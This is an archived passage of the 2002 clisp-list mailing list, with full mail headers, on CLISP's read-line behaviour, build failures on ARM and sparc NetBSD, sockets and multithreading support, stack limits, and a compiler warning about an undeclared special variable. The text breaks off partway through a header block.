with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YAfY-0004Oz-00 for ; Tue, 05 Feb 2002 10:50:16 -0800 Received: from gnu.org ([151.203.224.67]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020205185015.OSW29231.out007.verizon.net@gnu.org>; Tue, 5 Feb 2002 12:50:15 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line strips trailing spaces References: <20020205154528.A18401@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020205154528.A18401@localhost.localdomain> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 5 10:51:14 2002 X-Original-Date: 05 Feb 2002 13:47:37 -0500 > * In message <20020205154528.A18401@localhost.localdomain> > * On the subject of "[clisp-list] read-line strips trailing spaces" > * Sent on Tue, 5 Feb 2002 15:45:28 +0100 > * Honorable Peter Wood writes: > > GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651) > On GNU/Linux > > read-line strips off spaces, so "foo " becomes "foo". yes - why do you think this is a problem? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Flying is not dangerous; crashing is. From peter.wood@worldonline.dk Tue Feb 05 11:25:28 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YBDY-0005Oj-00 for ; Tue, 05 Feb 2002 11:25:24 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 44E2CB61B for ; Tue, 5 Feb 2002 20:25:19 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g15JCTX00192; Tue, 5 Feb 2002 20:12:29 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line strips trailing spaces Message-ID: <20020205201229.A149@localhost.localdomain> References: <20020205154528.A18401@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Tue, Feb 05, 2002 at 01:47:37PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 5 11:26:20 2002 X-Original-Date: Tue, 5 Feb 2002 20:12:29 +0100 On Tue, Feb 05, 2002 at 01:47:37PM -0500, Sam Steingold wrote: > > GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651) > > On GNU/Linux > > > > read-line strips off spaces, so "foo " becomes "foo". > > yes - why do you think this is a problem? According to the hyperspec, read-line "reads from input-stream a line of text that is terminated by a newline or eof". So that's what it should do. Neither Allegro 6.1 (trial), nor LispWorks 4.2 (Personal Edition) strip off the spaces. That is, both of them make "foo " be "foo " not "foo". I think clisp is wrong here. Regards, Peter From rxt1077@oak.njit.edu Tue Feb 05 23:24:23 2002 Received: from mail-shield1.njit.edu ([128.235.251.171]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YMRK-0003IF-00 for ; Tue, 05 Feb 2002 23:24:22 -0800 Received: (from uucp@localhost) by mail-shield1.njit.edu (8.11.6/8.11.6) id g167OEY23236 for ; Wed, 6 Feb 2002 02:24:14 -0500 (EST) Received: from nodnsquery(128.235.204.78) by mail-shield1.njit.edu via csmap (V4.1) id srcAAAGqayyT; Wed, 6 Feb 02 02:24:13 -0500 Received: from localhost (rxt1077@localhost) by hansa.njit.edu (8.10.2+Sun/8.8.5) with ESMTP id g167OCn02578 for ; Wed, 6 Feb 2002 02:24:12 -0500 (EST) From: ryan tolboom cis stnt To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] clisp on ARM processor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Feb 5 23:25:02 2002 X-Original-Date: Wed, 6 Feb 2002 02:24:12 -0500 (EST) Hello! I am trying to compile clisp on an ARM processor, and am experiencing some difficulty. I was wondering if anyone has been succesfull in doing this or if you would have some advice. I noticed an earlier post about clisp on an iPAQ running linux. Unfortunately the former post seemed to end without saying whether or not he got it working. My goal is to make a binary for the Zaurus SL-5000D, which also uses the StrongARM processor and runs linux. I am currently compiling on a compaq development machine that has a StrongARM processor and runs linux. Here is some info that I hope will help: The host system is detected as armv4l-unknown-linux-gnu. Source code used: CVS as of Wed Feb 6 02:00:32 EST 2002 Commands Executed: [ from the clisp directory ] ./configure [ it completes and gives me this output ] make: *** No rule to make target `avcall-armv4l.lo', needed by `avcall.lo'. Stop. To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd src ./makemake --with-readline --with-gettext > Makefile make config.lisp vi config.lisp make make check cd src ./makemake --with-readline --with-gettext > Makefile make config.lisp [ after this I add -DSAFETY=3 to the CFLAGS in Makefile ] [ as was recommended on this list previously. I then run... ] make [ it gives me the result ] gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DSAFETY=3 -c spvw.c In file included from lispbibl.d:1751, from spvw.d:22: unix.d:874: conflicting types for `iconv' /usr/include/iconv.h:45: previous declaration of `iconv' In file included from spvw.d:22: lispbibl.d:6933: warning: volatile register variables don't work as you might wish spvw.d: In function `main': spvw.d:1709: warning: variable `argv_memneed' might be clobbered by `longjmp' or `vfork' make: *** [spvw.o] Error 1 Any ideas? Need more info? Please let me know, -ryan From jtowler@newton.pconline.com Wed Feb 06 20:28:15 2002 Received: from newton.pconline.com ([206.145.48.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YgAQ-0003dL-00 for ; Wed, 06 Feb 2002 20:28:14 -0800 Received: (from jtowler@localhost) by newton.pconline.com (8.11.6/8.11.6) id g174S8Q29121; Wed, 6 Feb 2002 22:28:08 -0600 To: clisp-list@lists.sourceforge.net From: John Towler Message-ID: Lines: 26 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Feb 6 20:29:02 2002 X-Original-Date: 06 Feb 2002 22:28:08 -0600 Greetings, I ran into configuration problems actually building clisp-2.27 or clisp-cvs at the point where the configuration process is testing libavcall.a. The tests (both minitests and tests) fail and I am not sure what is being tested for. This machine is sparc-unknown-netbsdelf1.5.3_ALPHA. The nohup.out file is ~5Ok. I would like to send the data but with less extraneous stuff. Would just the avcall stuff and the test output files do, or would more system configuration information be needed. (config.status, unixconf.h, or others ?) Both clisp-2.27 and clisp-cvs (generally) build successfully on i386-unknown-netbsdelf1.5.[1-3]. Thanks, John Towler From dagit@engr.orst.edu Thu Feb 07 02:25:02 2002 Received: from engr.orst.edu ([128.193.54.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Yljd-0005DW-00 for ; Thu, 07 Feb 2002 02:24:57 -0800 Received: from flop.ENGR.ORST.EDU (flop.ENGR.ORST.EDU [128.193.55.70]) by engr.orst.edu (8.9.3/8.9.3) with ESMTP id CAA01629 for ; Thu, 7 Feb 2002 02:24:57 -0800 (PST) Received: from localhost (dagit@localhost) by flop.ENGR.ORST.EDU (8.9.3/8.9.3) with ESMTP id CAA05029 for ; Thu, 7 Feb 2002 02:24:56 -0800 (PST) From: Jason Dagit To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Just point me to the m, and I'll rtfm :) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 7 02:26:02 2002 X-Original-Date: Thu, 7 Feb 2002 02:24:56 -0800 (PST) I had two questions about clisp. I've been using it for a while now and I really like it. But, I still don't see how I can do tcp/ip and multithreading. Mostly, I don't know where to begin. What packages do I need (using Debian here, so apt is my friend)? Where can I find documentation about using them? The second question is odd indeed. I know that clisp is more efficient (seems faster to me at least) than cmucl (not trying to start a flame war tho), but why does clisp blow the stack before cmucl? I'm just learing about activiation records vs. heap, and so I was just curious why clisp doesn't use the heap before the stack blows? (maybe it's just really hard to check for...) Oh, I just had another quick question come to mind. Will the packages that work for cmucl work for clisp? If that's a totally newbie question just let me know. And again, if there is already a place that answers my questions just point me to it, and I'll go read it. Thanks for your time, Jason From emarsden@laas.fr Thu Feb 07 02:39:50 2002 Received: from laas.laas.fr ([140.93.0.15]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16Yly0-0000XM-00 for ; Thu, 07 Feb 2002 02:39:48 -0800 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g17AdeAp003533; Thu, 7 Feb 2002 11:39:40 +0100 (CET) Received: (from emarsden@localhost) by dukas.laas.fr (8.11.1/8.11.1) id g17Ade126061; Thu, 7 Feb 2002 11:39:40 +0100 (MET) To: Jason Dagit Cc: Subject: Re: [clisp-list] Just point me to the m, and I'll rtfm :) References: From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Message-Flags: Your message contained insufficient voltage X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ In-Reply-To: (Jason Dagit's message of "Thu, 7 Feb 2002 02:24:56 -0800 (PST)") Message-ID: Lines: 32 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 7 02:40:05 2002 X-Original-Date: Thu, 07 Feb 2002 11:39:40 +0100 >>>>> "jd" == Jason Dagit writes: jd> now and I really like it. But, I still don't see how I can do jd> tcp/ip and multithreading. Mostly, I don't know where to begin. jd> What packages do I need (using Debian here, so apt is my jd> friend)? Where can I find documentation about using them? Unfortunately the Debian package for CLISP is rather old; you may be better off compiling it yourself. Read the implementation notes (available at ) for information on using sockets from CLISP. jd> The second question is odd indeed. I know that clisp is more jd> efficient (seems faster to me at least) than cmucl (not trying jd> to start a flame war tho) CLISP is faster on certain types of code (especially involving bignums), but quite a lot slower on others. Figures at jd> Oh, I just had another quick question come to mind. Will the jd> packages that work for cmucl work for clisp? if they use standard Common Lisp, they should work. If they depend on extensions to the standard (eg networking support, operating system interface, interface with foreign code), they will require implementation-specific code. You'll find that many packages work with both implementations. -- Eric Marsden From ampy@ich.dvo.ru Thu Feb 07 04:29:34 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YngA-00081O-00 for ; Thu, 07 Feb 2002 04:29:30 -0800 Received: (qmail 4395 invoked from network); 7 Feb 2002 12:29:15 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 7 Feb 2002 12:29:15 -0000 Received: from 192.168.0.116 [192.168.0.116] by vladpress [127.0.0.1] with SMTP (MDaemon.v2.7.SP4.R) for ; Thu, 07 Feb 2002 22:15:01 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1654123298.20020207215825@ich.dvo.ru> To: Jason Dagit CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Just point me to the m, and I'll rtfm :) In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: clisp-list@lists.sourceforge.net X-Return-Path: ampy@ich.dvo.ru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 7 04:30:03 2002 X-Original-Date: Thu, 7 Feb 2002 21:58:25 +1000 Hello Jason, Thursday, February 07, 2002, 8:24:56 PM, you wrote: Jason> I had two questions about clisp. I've been using it for a while Jason> now and I really like it. But, I still don't see how I can do tcp/ip and Jason> multithreading. Mostly, I don't know where to begin. What packages do I Jason> need (using Debian here, so apt is my friend)? Where can I find Jason> documentation about using them? To learn how to use clisp specific extensions (tcp/ip for example) read impnotes.html. I believe that clisp have not multithreading (thank you Lord). -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Thu Feb 07 07:31:47 2002 Received: from out005pub.verizon.net ([206.46.170.105] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YqWY-0006EQ-00 for ; Thu, 07 Feb 2002 07:31:46 -0800 Received: from gnu.org ([151.203.224.67]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020207153136.HLWM5018.out005.verizon.net@gnu.org>; Thu, 7 Feb 2002 09:31:36 -0600 To: John Towler Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build problem References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 7 07:32:06 2002 X-Original-Date: 07 Feb 2002 10:29:09 -0500 > * In message > * On the subject of "[clisp-list] build problem" > * Sent on 06 Feb 2002 22:28:08 -0600 > * Honorable John Towler writes: > > I ran into configuration problems actually building clisp-2.27 > or clisp-cvs at the point where the configuration process is > testing libavcall.a. you are using gcc 3, right? this is known. just ignore the errors. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Live free or die. From amoroso@mclink.it Thu Feb 07 08:33:03 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YrTp-0004s7-00 for ; Thu, 07 Feb 2002 08:33:01 -0800 Received: from net145-024.mclink.it (net145-024.mclink.it [195.110.145.24]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g17GWuQ18500 for ; Thu, 7 Feb 2002 17:32:56 +0100 (CET) From: Paolo Amoroso To: Subject: Re: [clisp-list] Just point me to the m, and I'll rtfm :) Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 7 08:34:01 2002 X-Original-Date: Thu, 07 Feb 2002 17:29:01 +0100 On Thu, 7 Feb 2002 02:24:56 -0800 (PST), Jason Dagit wrote: > now and I really like it. But, I still don't see how I can do tcp/ip and > multithreading. Mostly, I don't know where to begin. What packages do I CLISP does not currently support multithreading. As for TCP/IP, Eric has already mentioned the implementation notes. > Oh, I just had another quick question come to mind. Will the > packages that work for cmucl work for clisp? If that's a totally newbie CLOCC (Common Lisp Open Code Collection) includes code designed to run on CLISP, CMU CL and other implementations: http://clocc.sourceforge.net Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From tfb@ocf.berkeley.edu Thu Feb 07 10:21:22 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YtAg-0006Sb-00 for ; Thu, 07 Feb 2002 10:21:22 -0800 Received: from conquest.OCF.Berkeley.EDU (daemon@conquest.OCF.Berkeley.EDU [128.32.191.90]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g17ILJa05245; Thu, 7 Feb 2002 10:21:19 -0800 (PST) Received: (from tfb@localhost) by conquest.OCF.Berkeley.EDU (8.11.6/8.10.2) id g17ILIk04273; Thu, 7 Feb 2002 10:21:18 -0800 (PST) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15458.50590.690844.72409@conquest.OCF.Berkeley.EDU> To: Jason Dagit Cc: Subject: [clisp-list] Just point me to the m, and I'll rtfm :) In-Reply-To: References: X-Mailer: VM 6.90 under Emacs 20.7.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 7 10:22:09 2002 X-Original-Date: Thu, 7 Feb 2002 10:21:18 -0800 Jason Dagit writes: > > I had two questions about clisp. I've been using it for a while > now and I really like it. But, I still don't see how I can do tcp/ip and > multithreading. Multithreading is for people who don't know how to write state machines ;-) Or, you know, cmucl users, either one... > The second question is odd indeed. I know that clisp is more > efficient (seems faster to me at least) than cmucl (not trying to start a > flame war tho), but why does clisp blow the stack before cmucl? I'm very surprised that you're finding CLISP more efficient that CMUCL. Out of curiosity, are you compiling your code on CMUCL? CLISP is faster to start up, but except for bignum math (where it kills all the competitors, in every language), it's generally significantly slower than every native-compiling implementation. It has a good bytecode interpreter, so it's usually fast enough for most things, but it's still a bytecode interpreter. As for blowing the stack, two things: CLISP uses the C calling stack allocated to it by the kernel -- extend that, and you'll get more stack space -- while CMUCL uses its own calling stack. More importantly, though, why are you blowing the stack? Are you writing recursive code where iterative code would do just as well? If so, well, you're asking for it, literally. If your application just has a really deep stack, use a larger one; if it's going to need potentially unbounded stack space, change your code. > I'm just learing about activiation records vs. heap, and so I was > just curious why clisp doesn't use the heap before the stack blows? > (maybe it's just really hard to check for...) I'm guessing because cost/benefit is near infinity. CLISP uses the C stack. Having it heuristically switch to heap-allocating stack frames would involve horrible pain, and to what end? If you can't allocate a sufficiently large normal stack, odds are the app is going to use up all the heap in the end, if you move its stack there. -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From Randy.Justice@cnet.navy.mil Thu Feb 07 10:45:38 2002 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16YtXf-00025T-00 for ; Thu, 07 Feb 2002 10:45:07 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA10281 for ; Thu, 7 Feb 2002 12:44:30 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <1HGAQNQW>; Thu, 7 Feb 2002 12:50:23 -0600 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] warning messages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Feb 7 10:46:04 2002 X-Original-Date: Thu, 7 Feb 2002 12:50:22 -0600 Hi. I have a lisp application in several files. When I compile the lisp files, I get several warning messages. How can I silence the warning message? (I don't want to combine the several files into one.) WARNING in function FIND_LARGEST_NUMBER in lines 58..124 : ARRAYSIZE is neither declared nor bound, it will be treated as if it were declared SPECIAL. Thank you Randy From toy@rtp.ericsson.se Fri Feb 08 06:43:32 2002 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZCFP-0007YY-00 for ; Fri, 08 Feb 2002 06:43:31 -0800 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id g18EhTh29601 for ; Fri, 8 Feb 2002 08:43:29 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g18EhTa26725 for ; Fri, 8 Feb 2002 08:43:29 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Fri Feb 08 08:43:28 2002 -0600 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id JAA00327; Fri, 8 Feb 2002 09:45:40 -0500 (EST) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.10.2+Sun/8.9.3) id g18EhRq13393; Fri, 8 Feb 2002 09:43:27 -0500 (EST) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: "Justice, Randy -CONT(DYN)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] warning messages References: From: Raymond Toy In-Reply-To: Message-ID: <4nsn8cvxtd.fsf@rtp.ericsson.se> Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (bamboo) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 06:44:09 2002 X-Original-Date: 08 Feb 2002 09:43:26 -0500 >>>>> "Randy" == DYN writes: Randy> How can I silence the warning message? Why would you want to do that? Do you also turn off the smoke detector in your home? Randy> WARNING in function FIND_LARGEST_NUMBER in lines 58..124 : Randy> ARRAYSIZE is neither declared nor bound, Randy> it will be treated as if it were declared SPECIAL. Is arraysize supposed to a special variable? If so, perhaps the order in which you compile the files should be changed? Or actually declare arraysize as special? Ray From Randy.Justice@cnet.navy.mil Fri Feb 08 09:14:05 2002 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZEab-0001E8-00 for ; Fri, 08 Feb 2002 09:13:33 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id LAA13691; Fri, 8 Feb 2002 11:12:52 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <1QH2R26C>; Fri, 8 Feb 2002 11:18:47 -0600 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'Raymond Toy'" , "Justice, Randy -CONT(DYN)" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] warning messages MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 09:15:09 2002 X-Original-Date: Fri, 8 Feb 2002 11:18:45 -0600 Thanks for your input. Ok, I missing some concept. I don't know what a "special" variable is. I'm trying to use the "ARRAYSIZE" variable as a global constant. Randy -----Original Message----- From: Raymond Toy [mailto:toy@rtp.ericsson.se] Sent: Friday, February 08, 2002 8:43 AM To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] warning messages >>>>> "Randy" == DYN writes: Randy> How can I silence the warning message? Why would you want to do that? Do you also turn off the smoke detector in your home? Randy> WARNING in function FIND_LARGEST_NUMBER in lines 58..124 : Randy> ARRAYSIZE is neither declared nor bound, Randy> it will be treated as if it were declared SPECIAL. Is arraysize supposed to a special variable? If so, perhaps the order in which you compile the files should be changed? Or actually declare arraysize as special? Ray From ats@cs.rit.edu Fri Feb 08 11:03:12 2002 Received: from mailout5-0.nyroc.rr.com ([24.92.226.122] helo=mailout5.nyroc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZGIg-0004Bs-00 for ; Fri, 08 Feb 2002 11:03:10 -0800 Received: from localhost (roc-66-66-136-3.rochester.rr.com [66.66.136.3]) by mailout5.nyroc.rr.com (8.11.6/Road Runner 1.12) with ESMTP id g18J35M29211 for ; Fri, 8 Feb 2002 14:03:05 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v480) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Axel Schreiner To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <7B7DBC5A-1CC6-11D6-9E0B-000A27E2EF46@cs.rit.edu> X-Mailer: Apple Mail (2.480) Subject: [clisp-list] clisp 2.27 on MacOS X 10.1.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Feb 8 11:04:07 2002 X-Original-Date: Fri, 8 Feb 2002 14:03:05 -0500 I compiled clist from the sources as per instructions in unix/INSTALL and unix/PLATFORMS, i.e., I used bash and ulimit and ignored the errors relating to FFI. The result is (note tha blank!). Axel T. Schreiner, Computer Science, Rochester Institute of Technology room 10-1188, 102 Lomb Memorial Drive, Rochester NY 14623-5608 USA http://www.cs.rit.edu/~ats/, phone +1.585.475.4902, fax +1.585.475.7100 From toy@rtp.ericsson.se Fri Feb 08 11:15:01 2002 Received: from imr2.ericy.com ([198.24.6.3]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ZGU9-0006yj-00 for ; Fri, 08 Feb 2002 11:15:01 -0800 Received: from mr7.exu.ericsson.se (mr7att.ericy.com [138.85.224.158]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id g18JEsS07373 for ; Fri, 8 Feb 2002 13:14:54 -0600 (CST) Received: from eamrcnt749 (eamrcnt749.exu.ericsson.se [138.85.133.47]) by mr7.exu.ericsson.se (8.11.3/8.11.3) with SMTP id g18JEsa22182 for ; Fri, 8 Feb 2002 13:14:54 -0600 (CST) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt749 ; Fri Feb 08 13:14:53 2002 -0600 Received: from edgedsp4.rtp.ericsson.se 